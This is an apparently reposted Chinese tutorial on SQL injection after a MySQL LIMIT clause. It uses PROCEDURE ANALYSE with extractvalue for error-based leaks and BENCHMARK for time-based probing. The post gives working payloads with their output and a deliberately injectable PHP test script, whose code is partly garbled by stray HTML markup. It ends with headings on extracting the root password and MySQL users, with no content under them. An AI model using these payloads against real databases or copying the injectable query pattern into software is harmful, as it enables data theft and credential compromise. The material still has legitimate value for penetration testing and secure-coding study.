mysql下limit注入

原文： https://rateip.com/blog/sql-injections-in-mysql-limit-clause/ http://zone.wooyun.org/content/18220

此方法适用于MySQL 5.x中，在limit语句后面的注入 

例如： 

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point```   上面的语句包含了ORDER BY，MySQL当中UNION语句不能在ORDER BY的后面，否则利用UNION很容易就可以读取数据了，看看在MySQL 5中的SELECT语法： ```SELECT     [ALL | DISTINCT | DISTINCTROW ]       [HIGH_PRIORITY]       [STRAIGHT_JOIN]       [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]       [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]     select_expr [, select_expr ...]     [FROM table_references     [WHERE where_condition]     [GROUP BY {col_name | expr | position}       [ASC | DESC], ... [WITH ROLLUP]]     [HAVING where_condition]     [ORDER BY {col_name | expr | position}       [ASC | DESC], ...]     [LIMIT {[offset,] row_count | row_count OFFSET offset}]     [PROCEDURE procedure_name(argument_list)]     [INTO OUTFILE 'file_name' export_options       | INTO DUMPFILE 'file_name'       | INTO var_name [, var_name]]     [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO除非有写入shell的权限，否则是无法利用的，那么使用PROCEDURE函数能否注入呢？ Let’s give it a try: 

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure

ANALYSE可以有两个参数：

mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1); ERROR 1386 (HY000): Can't use ORDER clause with this procedure

看起来并不是很好，继续尝试：

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

但是立即返回了一个错误信息： 

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'

sleep函数肯定没有执行，但是最终我还是找到了可以攻击的方式： 

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

如果不支持报错注入的话，还可以基于时间注入：

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

直接使用sleep不行，需要用BENCHMARK代替。 

我亲测好用~这里附上我的测试代码：

<?php header("Content-Type: text/plain; charset=utf-8");require("mysql.class.php");$mysql = new MySQL("test", "root", "root");$users</span> <span class="o">=</span> <span class="nv">$mysql->executeSQL("SELECT * FROM user where uid < 100 ORDER BY uid limit {$_GET['p']}, 10");if($users){$users</span> <span class="o">=</span> <span class="nb">var_export</span><span class="p">(</span><span class="nv">$users, TRUE);echo $users;}else{    echo $mysql->lastError;}

报错注入获得root密码：

报错注入获得mysql用户：